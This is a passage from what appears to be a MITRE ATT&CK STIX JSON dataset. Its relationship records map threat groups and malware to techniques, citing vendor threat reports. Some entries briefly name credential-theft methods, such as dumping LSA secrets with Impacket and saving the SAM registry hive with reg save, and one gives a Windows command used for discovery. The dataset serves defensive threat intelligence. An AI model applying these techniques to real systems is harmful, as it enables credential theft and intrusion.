2024)","relationship_type":"uses","source_ref":"malware--19256855-65e9-48f2-8b74-9f3d0a994428","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efbe5efa-6863-4334-90e5-d7caab9806a6","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.490Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efc39174-1103-4834-9efa-d0001ab1dd80","type":"relationship","created":"2021-04-14T14:03:30.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Rocket Kitten","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf","description":"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."}],"modified":"2021-04-14T14:03:30.688Z","description":"[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used Wrapper/Gholee, custom-developed malware, which downloaded additional malware to the infected system.(Citation: Check Point Rocket Kitten)","relationship_type":"uses","source_ref":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--efcc09fb-4c15-4a58-9bc5-b92747eae842","created":"2023-09-21T16:33:59.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:17:14.887Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) sends device and other collected data back to the C2 using the established C2 channels over TCP. (Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efcd3e1b-d17b-4c7f-97fd-b438ebef6760","type":"relationship","created":"2020-06-17T20:39:12.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-29T15:22:59.285Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has compromised victims via links to URLs hosting malicious content.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efcdbec4-20e3-42e2-a0c4-1695083cd37e","type":"relationship","created":"2019-05-14T15:26:39.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2020-03-19T17:16:11.654Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) has several VBS scripts used throughout the malware's lifecycle.(Citation: Kaspersky StoneDrill 2017)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--efd13110-1e89-4e99-b015-4e09046f2b73","created":"2024-08-26T18:04:01.877Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:04:01.877Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has used social media services to spear phish victims to deliver trojainized software.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efd7f218-0e23-458b-be17-afad9545fa25","type":"relationship","created":"2019-05-28T19:59:45.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Mar 2018","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}],"modified":"2019-05-30T17:23:30.638Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) may obfuscate portions of the initial C2 handshake.(Citation: Proofpoint TA505 Mar 2018)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--efd84e8c-6979-4f79-916c-0c6044bc1a85","created":"2022-10-04T07:16:27.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T21:07:17.059Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) has searched for the Activity Monitor process in the System Events process list and kills the process if running. [macOS.OSAMiner](https://attack.mitre.org/software/S1048) also searches the operating system's `install.log` for apps matching its hardcoded list, killing all matching process names.(Citation: SentinelLabs reversing run-only applescripts 2021)","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efd94521-6d23-4947-a257-1c81ac52f0d9","type":"relationship","created":"2019-03-12T14:14:22.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.945Z","description":"[Empire](https://attack.mitre.org/software/S0363) can upload and download to and from a victim machine.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--efe1cabd-63cf-46d6-8010-93504832bc03","created":"2021-04-13T20:27:51.727Z","x_mitre_version":"1.0","external_references":[{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used names like `adobeupdate.dat` and `PotPlayerDB.dat` to disguise [PlugX](https://attack.mitre.org/software/S0013), and a file named `OneDrive.exe` to load a [Cobalt Strike](https://attack.mitre.org/software/S0154) payload.(Citation: Recorded Future REDDELTA July 2020)","modified":"2022-04-14T18:34:13.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--efe23026-7cba-46df-873b-1c8244a92d36","created":"2019-05-24T17:57:36.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureList Silence Nov 2017","description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/"},{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."},{"source_name":"Cyber Forensicator Silence Jan 2019","description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.225Z","description":"[Silence](https://attack.mitre.org/groups/G0091) attempts to get users to launch malicious attachments delivered via spearphishing emails.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efe5521e-a774-4a0f-a360-3cee8303833d","type":"relationship","created":"2020-06-01T14:41:54.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-17T19:40:20.660Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use the command shell to execute commands on a compromised host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efea6d26-7372-45bb-81bb-1e300abd5b13","type":"relationship","created":"2020-07-27T15:20:50.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-02T17:23:24.481Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has encrypted stolen credit card information with AES and further encoded it with Base64.(Citation: Trustwave Pillowmint June 2020)\t","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--efee6215-08f7-40d2-a495-e9e3d55bd822","created":"2024-09-06T22:01:43.440Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:01:43.440Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used frameworks such as [Impacket](https://attack.mitre.org/software/S0357) to dump LSA secrets for credential capture.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eff4cf6d-b84d-4fd9-9fd5-1b7f5d06fbad","created":"2024-05-25T16:36:48.789Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:36:48.789Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) will leverage malicious Windows batch scripts to modify registry values associated with Windows Defender functionality.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eff691e3-85de-4b98-8534-da2333370856","type":"relationship","created":"2021-04-09T15:11:36.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:36.586Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has started a monero service.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eff75944-0c22-45bb-bda5-db848836f02b","created":"2024-05-23T22:45:33.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:16:55.613Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) acquires victim credentials by extracting registry hives such as the Security Account Manager through commands such as reg save.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eff80158-12c4-4d75-a421-276e19ed3717","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor executed commands and arguments that may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--effc0ed6-b472-48ab-99b6-2d3b553f4253","created":"2024-08-14T22:29:23.631Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:29:23.631Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has used IMAP and SMTPS for exfiltration via tools such as [IMAPLoader](https://attack.mitre.org/software/S1152).(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0026b7c-9a9a-468d-a152-1b214efe066a","type":"relationship","created":"2020-12-29T16:41:19.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T16:41:19.834Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used WizTree to obtain network files and directory listings.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0094ba8-a513-49bf-a5d7-961aaab13380","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.690Z","description":"(Citation: Novetta-Axiom)(Citation: Cisco Group 72)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0128f0b-be94-4d1e-a61e-d66cb7227a99","created":"2024-03-27T20:14:04.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T19:06:12.252Z","description":"(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f015b898-b057-40e4-9add-c4fa1e100f7e","created":"2022-09-06T14:29:06.676Z","revoked":false,"external_references":[{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-06T14:29:06.676Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can search for tools used in static analysis.(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f017f6c0-96f4-46f1-905f-44e9950effbc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"},{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-08-16T18:52:50.581Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) collects current and parent process IDs.(Citation: Fidelis Turbo)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f01bad7e-e96c-43fe-8ac9-63c4863e8c76","created":"2021-01-22T20:57:02.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.432Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used type \\\\\\c$\\Users\\\\Favorites\\Links\\Bookmarks bar\\Imported From IE\\*citrix* for bookmark discovery.(Citation: NCC Group Chimera January 